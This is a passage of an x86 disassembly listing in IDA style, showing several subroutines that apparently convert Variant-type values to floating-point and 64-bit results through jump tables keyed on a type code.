		dd offset loc_40010819
; ---------------------------------------------------------------------------


loc_4001075A:				; CODE XREF: sub_400106E4+1Bj
					; DATA XREF: sub_400106E4:off_40010706o
		xor	eax, eax	; jumptable 400106FF case 0
		mov	[ebp+var_8], eax
		jmp	loc_40010867
; ---------------------------------------------------------------------------


loc_40010764:				; CODE XREF: sub_400106E4+1Bj
					; DATA XREF: sub_400106E4:off_40010706o
		cmp	byte_4001AA10, 0 ; jumptable 400106FF case 1
		jz	short loc_4001077A
		mov	dx, 4
		mov	ax, 1
		call	sub_4000DBF4


loc_4001077A:				; CODE XREF: sub_400106E4+87j
		xor	eax, eax
		mov	[ebp+var_8], eax
		jmp	loc_40010867
; ---------------------------------------------------------------------------


loc_40010784:				; CODE XREF: sub_400106E4+1Bj
					; DATA XREF: sub_400106E4:off_40010706o
		mov	eax, [ebp+var_4] ; jumptable 400106FF case 2
		fild	word ptr [eax+8]
		fstp	[ebp+var_8]
		wait
		jmp	loc_40010867
; ---------------------------------------------------------------------------


loc_40010793:				; CODE XREF: sub_400106E4+1Bj
					; DATA XREF: sub_400106E4:off_40010706o
		mov	eax, [ebp+var_4] ; jumptable 400106FF case 3
		fild	dword ptr [eax+8]
		fstp	[ebp+var_8]
		wait
		jmp	loc_40010867
; ---------------------------------------------------------------------------


loc_400107A2:				; CODE XREF: sub_400106E4+1Bj
					; DATA XREF: sub_400106E4:off_40010706o
		mov	eax, [ebp+var_4] ; jumptable 400106FF case 4
		mov	eax, [eax+8]
		mov	[ebp+var_8], eax
		jmp	loc_40010867
; ---------------------------------------------------------------------------


loc_400107B0:				; CODE XREF: sub_400106E4+1Bj
					; DATA XREF: sub_400106E4:off_40010706o
		mov	eax, [ebp+var_4] ; jumptable 400106FF case 11
		movsx	eax, word ptr [eax+8]
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fstp	[ebp+var_8]
		wait
		jmp	loc_40010867
; ---------------------------------------------------------------------------


loc_400107C6:				; CODE XREF: sub_400106E4+1Bj
					; DATA XREF: sub_400106E4:off_40010706o
		mov	eax, [ebp+var_4] ; jumptable 400106FF case 16
		movsx	eax, byte ptr [eax+8]
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fstp	[ebp+var_8]
		wait
		jmp	loc_40010867
; ---------------------------------------------------------------------------


loc_400107DC:				; CODE XREF: sub_400106E4+1Bj
					; DATA XREF: sub_400106E4:off_40010706o
		mov	eax, [ebp+var_4] ; jumptable 400106FF case 17
		movzx	eax, byte ptr [eax+8]
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fstp	[ebp+var_8]
		wait
		jmp	short loc_40010867
; ---------------------------------------------------------------------------


loc_400107EF:				; CODE XREF: sub_400106E4+1Bj
					; DATA XREF: sub_400106E4:off_40010706o
		mov	eax, [ebp+var_4] ; jumptable 400106FF case 18
		movzx	eax, word ptr [eax+8]
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fstp	[ebp+var_8]
		wait
		jmp	short loc_40010867
; ---------------------------------------------------------------------------


loc_40010802:				; CODE XREF: sub_400106E4+1Bj
					; DATA XREF: sub_400106E4:off_40010706o
		mov	eax, [ebp+var_4] ; jumptable 400106FF case 19
		mov	eax, [eax+8]
		mov	dword ptr [ebp+var_14],	eax
		xor	eax, eax
		mov	dword ptr [ebp+var_14+4], eax
		fild	[ebp+var_14]
		fstp	[ebp+var_8]
		wait
		jmp	short loc_40010867
; ---------------------------------------------------------------------------


loc_40010819:				; CODE XREF: sub_400106E4+1Bj
					; DATA XREF: sub_400106E4:off_40010706o
		mov	eax, [ebp+var_4] ; jumptable 400106FF case 20
		fild	qword ptr [eax+8]
		fstp	[ebp+var_8]
		wait
		jmp	short loc_40010867
; ---------------------------------------------------------------------------


loc_40010825:				; CODE XREF: sub_400106E4+15j
					; sub_400106E4+1Bj
					; DATA XREF: ...
		xor	eax, eax	; default
					; jumptable 400106FF cases 5-10,12-15
		push	ebp
		push	offset loc_40010849
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_4001036C
		fstp	[ebp+var_8]
		wait
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_40010867
; ---------------------------------------------------------------------------


loc_40010849:				; DATA XREF: sub_400106E4+144o
		jmp	sub_400040D8
; ---------------------------------------------------------------------------
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		mov	dx, 4
		call	sub_4000E068
		xor	eax, eax
		mov	[ebp+var_8], eax
		call	sub_40004360


loc_40010867:				; CODE XREF: sub_400106E4+7Bj
					; sub_400106E4+9Bj ...
		fld	[ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_400106E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40010874	proc near		; CODE XREF: sub_40010ABC+DEp
					; sub_40010ABC+1A7p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= qword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		xor	edx, edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40010950
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+var_4]
		call	sub_40011DFC
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		push	400h
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, off_4001AF3C
		mov	eax, [eax]
		call	eax
		mov	edx, eax
		sub	edx, 80020005h
		jz	short loc_400108CC
		sub	edx, 7FFDFFFBh
		jnz	short loc_40010921
		jmp	short loc_4001092D
; ---------------------------------------------------------------------------


loc_400108CC:				; CODE XREF: sub_40010874+4Cj
		lea	eax, [ebp+var_1C]
		mov	edx, [ebp+var_4]
		call	sub_40004B0C
		mov	eax, [ebp+var_1C]
		lea	edx, [ebp+var_10]
		call	sub_4000A710
		test	al, al
		jnz	short loc_4001092D
		lea	eax, [ebp+var_20]
		mov	edx, [ebp+var_4]
		call	sub_40004B0C
		mov	eax, [ebp+var_20]
		lea	edx, [ebp+var_18]
		call	sub_40008E90
		test	al, al
		jz	short loc_4001090E
		mov	eax, [ebp+var_18]
		mov	dword ptr [ebp+var_10],	eax
		mov	eax, [ebp+var_14]
		mov	dword ptr [ebp+var_10+4], eax
		jmp	short loc_4001092D
; ---------------------------------------------------------------------------


loc_4001090E:				; CODE XREF: sub_40010874+8Aj
		movzx	edx, word ptr [ebx]
		mov	cx, 7
		mov	eax, 80020005h
		call	sub_4000E034
		jmp	short loc_4001092D
; ---------------------------------------------------------------------------


loc_40010921:				; CODE XREF: sub_40010874+54j
		movzx	edx, word ptr [ebx]
		mov	cx, 7
		call	sub_4000E034


loc_4001092D:				; CODE XREF: sub_40010874+56j
					; sub_40010874+70j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40010957


loc_4001093A:				; CODE XREF: sub_40010874+E1j
		lea	eax, [ebp+var_20]
		mov	edx, 2
		call	sub_400048A8
		lea	eax, [ebp+var_4]
		call	sub_40005008
		retn
; ---------------------------------------------------------------------------


loc_40010950:				; DATA XREF: sub_40010874+17o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4001093A
; ---------------------------------------------------------------------------


loc_40010957:				; CODE XREF: sub_40010874+DBj
					; DATA XREF: sub_40010874+C1o
		fld	[ebp+var_10]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40010874	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40010960	proc near		; CODE XREF: sub_40010ABC+166p
					; sub_40010ABC+307p

var_18		= word ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		mov	ebx, eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4000CDD8
		mov	[ebp+var_18], 5
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		push	7
		push	0
		push	400h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		mov	eax, off_4001B064
		mov	eax, [eax]
		call	eax
		movzx	edx, word ptr [ebx]
		mov	cx, 7
		call	sub_4000E034
		mov	eax, [ebp+var_10]
		mov	dword ptr [ebp+var_8], eax
		mov	eax, [ebp+var_C]
		mov	dword ptr [ebp+var_8+4], eax
		fld	[ebp+var_8]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_40010960	endp


; =============== S U B	R O U T	I N E =======================================



sub_400109C0	proc near		; CODE XREF: sub_40010ABC+BCp
					; sub_40010ABC+187p ...

var_1C		= qword	ptr -1Ch
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	ebx
		add	esp, 0FFFFFFE8h
		mov	ebx, eax
		lea	eax, [esp+1Ch+var_14]
		push	eax
		call	sub_4000CDD8
		push	7
		push	0
		push	400h
		push	ebx
		lea	eax, [esp+2Ch+var_14]
		push	eax
		mov	eax, off_4001B064
		mov	eax, [eax]
		call	eax
		movzx	edx, word ptr [ebx]
		mov	cx, 7
		call	sub_4000E034
		mov	eax, [esp+1Ch+var_C]
		mov	dword ptr [esp+1Ch+var_1C], eax
		mov	eax, [esp+1Ch+var_8]
		mov	dword ptr [esp+1Ch+var_1C+4], eax
		fld	[esp+1Ch+var_1C]
		add	esp, 18h
		pop	ebx
		retn
sub_400109C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40010A0C	proc near		; CODE XREF: sub_40010ABC+1B7p

var_18		= byte ptr -18h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		mov	ebx, eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4000CDD8
		xor	eax, eax
		push	ebp
		push	offset loc_40010A61
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+var_18]
		call	sub_4000E700
		lea	eax, [ebp+var_18]
		call	ds:off_4001F29C
		lea	eax, [ebp+var_18]
		call	sub_40010ABC
		fstp	[ebp+var_8]
		wait
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40010A68


loc_40010A58:				; CODE XREF: sub_40010A0C+5Aj
		lea	eax, [ebp+var_18]
		call	sub_4000E3D8
		retn
; ---------------------------------------------------------------------------


loc_40010A61:				; DATA XREF: sub_40010A0C+15o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40010A58
; ---------------------------------------------------------------------------


loc_40010A68:				; CODE XREF: sub_40010A0C+54j
					; DATA XREF: sub_40010A0C+47o
		fld	[ebp+var_8]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40010A0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40010A70	proc near		; CODE XREF: sub_40010ABC+331p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFECh
		mov	edi, edx
		mov	esi, eax
		mov	edx, esp
		movzx	eax, word ptr [esi]
		call	sub_40012D98
		mov	ebx, eax
		test	bl, bl
		jz	short loc_40010AB2
		lea	eax, [esp+20h+var_1C]
		push	eax
		call	sub_4000CDD8
		push	7
		mov	ecx, esi
		lea	edx, [esp+24h+var_1C]
		mov	eax, [esp+24h+var_20]
		mov	esi, [eax]
		call	dword ptr [esi+1Ch]
		mov	eax, [esp+20h+var_14]
		mov	[edi], eax
		mov	eax, [esp+20h+var_10]
		mov	[edi+4], eax


loc_40010AB2:				; CODE XREF: sub_40010A70+18j
		mov	eax, ebx
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40010A70	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40010ABC	proc near		; CODE XREF: sub_4000E9CC+14Ap
					; sub_40010A0C+36p ...

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= qword	ptr -0Ch

		push	ebx
		add	esp, 0FFFFFFECh
		mov	ebx, eax
		movzx	eax, word ptr [ebx]
		movzx	edx, ax
		cmp	edx, 14h	; switch 21 cases
		ja	loc_40010C51	; default
					; jumptable 40010AD1 cases 10,14,15
		jmp	ds:off_40010AD8[edx*4] ; switch	jump
; ---------------------------------------------------------------------------
off_40010AD8	dd offset loc_40010B2C	; DATA XREF: sub_40010ABC+15r
		dd offset loc_40010B3A	; jump table for switch	statement
		dd offset loc_40010B5E
		dd offset loc_40010B6A
		dd offset loc_40010B76
		dd offset loc_40010B76
		dd offset loc_40010B76
		dd offset loc_40010B86
		dd offset loc_40010B98
		dd offset loc_40010C41
		dd offset loc_40010C51
		dd offset loc_40010BA8
		dd offset loc_40010C30
		dd offset loc_40010C41
		dd offset loc_40010C51
		dd offset loc_40010C51
		dd offset loc_40010BBD
		dd offset loc_40010BD2
		dd offset loc_40010BE7
		dd offset loc_40010BFC
		dd offset loc_40010C16
; ---------------------------------------------------------------------------


loc_40010B2C:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		xor	eax, eax	; jumptable 40010AD1 case 0
		mov	dword ptr [esp+18h+var_18], eax
		mov	dword ptr [esp+18h+var_18+4], eax
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010B3A:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		cmp	byte_4001AA10, 0 ; jumptable 40010AD1 case 1
		jz	short loc_40010B50
		mov	dx, 7
		mov	ax, 1
		call	sub_4000DBF4


loc_40010B50:				; CODE XREF: sub_40010ABC+85j
		xor	eax, eax
		mov	dword ptr [esp+18h+var_18], eax
		mov	dword ptr [esp+18h+var_18+4], eax
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010B5E:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		fild	word ptr [ebx+8] ; jumptable 40010AD1 case 2
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010B6A:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		fild	dword ptr [ebx+8] ; jumptable 40010AD1 case 3
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010B76:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		mov	eax, ebx	; jumptable 40010AD1 cases 4-6
		call	sub_400109C0
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010B86:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		mov	eax, [ebx+8]	; jumptable 40010AD1 case 7
		mov	dword ptr [esp+18h+var_18], eax
		mov	eax, [ebx+0Ch]
		mov	dword ptr [esp+18h+var_18+4], eax
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010B98:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		mov	eax, ebx	; jumptable 40010AD1 case 8
		call	sub_40010874
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010BA8:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		movsx	eax, word ptr [ebx+8] ;	jumptable 40010AD1 case	11
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010BBD:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		movsx	eax, byte ptr [ebx+8] ;	jumptable 40010AD1 case	16
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010BD2:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		movzx	eax, byte ptr [ebx+8] ;	jumptable 40010AD1 case	17
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010BE7:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		movzx	eax, word ptr [ebx+8] ;	jumptable 40010AD1 case	18
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010BFC:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		mov	eax, [ebx+8]	; jumptable 40010AD1 case 19
		mov	dword ptr [esp+18h+var_C], eax
		xor	eax, eax
		mov	dword ptr [esp+18h+var_C+4], eax
		fild	[esp+18h+var_C]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010C16:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		fild	qword ptr [ebx+8] ; jumptable 40010AD1 case 20
		add	esp, 0FFFFFFF8h
		fstp	[esp+20h+var_20]
		wait
		mov	eax, ebx
		call	sub_40010960
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010C30:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		mov	eax, [ebx+8]	; jumptable 40010AD1 case 12
		call	sub_40010ABC
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010C41:				; CODE XREF: sub_40010ABC+15j
					; DATA XREF: sub_40010ABC:off_40010AD8o
		mov	eax, ebx	; jumptable 40010AD1 cases 9,13
		call	sub_400109C0
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010C51:				; CODE XREF: sub_40010ABC+Fj
					; sub_40010ABC+15j
					; DATA XREF: ...
		mov	edx, eax	; default
					; jumptable 40010AD1 cases 10,14,15
		sub	dx, 100h
		jz	short loc_40010C61
		dec	dx
		jz	short loc_40010C71
		jmp	short loc_40010C81
; ---------------------------------------------------------------------------


loc_40010C61:				; CODE XREF: sub_40010ABC+19Cj
		mov	eax, ebx
		call	sub_40010874
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010C71:				; CODE XREF: sub_40010ABC+1A1j
		mov	eax, ebx
		call	sub_40010A0C
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010C81:				; CODE XREF: sub_40010ABC+1A3j
		test	ah, 40h
		jz	loc_40010DE9
		movzx	eax, ax
		and	eax, 0FFFFBFFFh
		cmp	eax, 14h	; switch 21 cases
		ja	loc_40010DDC	; default
					; jumptable 40010C9B cases 0,1,9,10,13-15
		jmp	ds:off_40010CA2[eax*4] ; switch	jump
; ---------------------------------------------------------------------------
off_40010CA2	dd offset loc_40010DDC	; DATA XREF: sub_40010ABC+1DFr
		dd offset loc_40010DDC	; jump table for switch	statement
		dd offset loc_40010CF6
		dd offset loc_40010D04
		dd offset loc_40010D12
		dd offset loc_40010D12
		dd offset loc_40010D12
		dd offset loc_40010D22
		dd offset loc_40010D36
		dd offset loc_40010DDC
		dd offset loc_40010DDC
		dd offset loc_40010D46
		dd offset loc_40010DCE
		dd offset loc_40010DDC
		dd offset loc_40010DDC
		dd offset loc_40010DDC
		dd offset loc_40010D5D
		dd offset loc_40010D74
		dd offset loc_40010D88
		dd offset loc_40010D9C
		dd offset loc_40010DB5
; ---------------------------------------------------------------------------


loc_40010CF6:				; CODE XREF: sub_40010ABC+1DFj
					; DATA XREF: sub_40010ABC:off_40010CA2o
		mov	eax, [ebx+8]	; jumptable 40010C9B case 2
		fild	word ptr [eax]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010D04:				; CODE XREF: sub_40010ABC+1DFj
					; DATA XREF: sub_40010ABC:off_40010CA2o
		mov	eax, [ebx+8]	; jumptable 40010C9B case 3
		fild	dword ptr [eax]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010D12:				; CODE XREF: sub_40010ABC+1DFj
					; DATA XREF: sub_40010ABC:off_40010CA2o
		mov	eax, ebx	; jumptable 40010C9B cases 4-6
		call	sub_400109C0
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010D22:				; CODE XREF: sub_40010ABC+1DFj
					; DATA XREF: sub_40010ABC:off_40010CA2o
		mov	eax, [ebx+8]	; jumptable 40010C9B case 7
		mov	edx, [eax]
		mov	dword ptr [esp+18h+var_18], edx
		mov	edx, [eax+4]
		mov	dword ptr [esp+18h+var_18+4], edx
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010D36:				; CODE XREF: sub_40010ABC+1DFj
					; DATA XREF: sub_40010ABC:off_40010CA2o
		mov	eax, ebx	; jumptable 40010C9B case 8
		call	sub_40010874
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010D46:				; CODE XREF: sub_40010ABC+1DFj
					; DATA XREF: sub_40010ABC:off_40010CA2o
		mov	eax, [ebx+8]	; jumptable 40010C9B case 11
		movsx	eax, word ptr [eax]
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010D5D:				; CODE XREF: sub_40010ABC+1DFj
					; DATA XREF: sub_40010ABC:off_40010CA2o
		mov	eax, [ebx+8]	; jumptable 40010C9B case 16
		movsx	eax, byte ptr [eax]
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_40010E01
; ---------------------------------------------------------------------------


loc_40010D74:				; CODE XREF: sub_40010ABC+1DFj
					; DATA XREF: sub_40010ABC:off_40010CA2o
		mov	eax, [ebx+8]	; jumptable 40010C9B case 17
		movzx	eax, byte ptr [eax]
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	short loc_40010E01
; ---------------------------------------------------------------------------


loc_40010D88:				; CODE XREF: sub_40010ABC+1DFj
					; DATA XREF: sub_40010ABC:off_40010CA2o
		mov	eax, [ebx+8]	; jumptable 40010C9B case 18
		movzx	eax, word ptr [eax]
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	short loc_40010E01
; ---------------------------------------------------------------------------


loc_40010D9C:				; CODE XREF: sub_40010ABC+1DFj
					; DATA XREF: sub_40010ABC:off_40010CA2o
		mov	eax, [ebx+8]	; jumptable 40010C9B case 19
		mov	eax, [eax]
		mov	dword ptr [esp+18h+var_C], eax
		xor	eax, eax
		mov	dword ptr [esp+18h+var_C+4], eax
		fild	[esp+18h+var_C]
		fstp	[esp+18h+var_18]
		wait
		jmp	short loc_40010E01
; ---------------------------------------------------------------------------


loc_40010DB5:				; CODE XREF: sub_40010ABC+1DFj
					; DATA XREF: sub_40010ABC:off_40010CA2o
		mov	eax, [ebx+8]	; jumptable 40010C9B case 20
		fild	qword ptr [eax]
		add	esp, 0FFFFFFF8h
		fstp	[esp+20h+var_20]
		wait
		mov	eax, ebx
		call	sub_40010960
		fstp	[esp+18h+var_18]
		wait
		jmp	short loc_40010E01
; ---------------------------------------------------------------------------


loc_40010DCE:				; CODE XREF: sub_40010ABC+1DFj
					; DATA XREF: sub_40010ABC:off_40010CA2o
		mov	eax, [ebx+8]	; jumptable 40010C9B case 12
		call	sub_40010ABC
		fstp	[esp+18h+var_18]
		wait
		jmp	short loc_40010E01
; ---------------------------------------------------------------------------


loc_40010DDC:				; CODE XREF: sub_40010ABC+1D9j
					; sub_40010ABC+1DFj
					; DATA XREF: ...
		mov	eax, ebx	; default
					; jumptable 40010C9B cases 0,1,9,10,13-15
		call	sub_400109C0
		fstp	[esp+18h+var_18]
		wait
		jmp	short loc_40010E01
; ---------------------------------------------------------------------------


loc_40010DE9:				; CODE XREF: sub_40010ABC+1C8j
		mov	edx, esp
		mov	eax, ebx
		call	sub_40010A70
		test	al, al
		jnz	short loc_40010E01
		mov	eax, ebx
		call	sub_400109C0
		fstp	[esp+18h+var_18]
		wait


loc_40010E01:				; CODE XREF: sub_40010ABC+79j
					; sub_40010ABC+9Dj ...
		fld	[esp+18h+var_18]
		add	esp, 14h
		pop	ebx
		retn
sub_40010ABC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40010E0C	proc near		; CODE XREF: sub_40011024+FAp
					; sub_40011024+1E1p ...

var_14		= dword	ptr -14h
var_10		= qword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		xor	edx, edx
		mov	[ebp+var_14], edx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40010EB8
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+var_4]
		call	sub_40011DFC
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		push	400h
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, off_4001B0A0
		mov	eax, [eax]
		call	eax
		mov	edx, eax
		sub	edx, 80020005h
		jz	short loc_40010E61
		sub	edx, 7FFDFFFBh
		jnz	short loc_40010E8E
		jmp	short loc_40010E9A
; ---------------------------------------------------------------------------


loc_40010E61:				; CODE XREF: sub_40010E0C+49j
		lea	eax, [ebp+var_14]
		mov	edx, [ebp+var_4]
		call	sub_40004B0C
		mov	eax, [ebp+var_14]
		lea	edx, [ebp+var_10]
		call	sub_40008EE8
		test	al, al
		jnz	short loc_40010E9A
		movzx	edx, word ptr [ebx]
		mov	cx, 6
		mov	eax, 80020005h
		call	sub_4000E034
		jmp	short loc_40010E9A
; ---------------------------------------------------------------------------


loc_40010E8E:				; CODE XREF: sub_40010E0C+51j
		movzx	edx, word ptr [ebx]
		mov	cx, 6
		call	sub_4000E034


loc_40010E9A:				; CODE XREF: sub_40010E0C+53j
					; sub_40010E0C+6Dj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40010EBF


loc_40010EA7:				; CODE XREF: sub_40010E0C+B1j
		lea	eax, [ebp+var_14]
		call	sub_40004884
		lea	eax, [ebp+var_4]
		call	sub_40005008
		retn
; ---------------------------------------------------------------------------


loc_40010EB8:				; DATA XREF: sub_40010E0C+14o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40010EA7
; ---------------------------------------------------------------------------


loc_40010EBF:				; CODE XREF: sub_40010E0C+ABj
					; DATA XREF: sub_40010E0C+96o
		fild	[ebp+var_10]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40010E0C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40010EC8	proc near		; CODE XREF: sub_40011024+1A0p
					; sub_40011024+37Ep

var_18		= word ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		mov	ebx, eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4000CDD8
		mov	[ebp+var_18], 5
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		push	6
		push	0
		push	400h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		mov	eax, off_4001B064
		mov	eax, [eax]
		call	eax
		movzx	edx, word ptr [ebx]
		mov	cx, 6
		call	sub_4000E034
		mov	eax, [ebp+var_10]
		mov	dword ptr [ebp+var_8], eax
		mov	eax, [ebp+var_C]
		mov	dword ptr [ebp+var_8+4], eax
		fild	[ebp+var_8]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_40010EC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40010F28	proc near		; CODE XREF: sub_40011024+C8p
					; sub_40011024+EAp ...

var_1C		= qword	ptr -1Ch
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	ebx
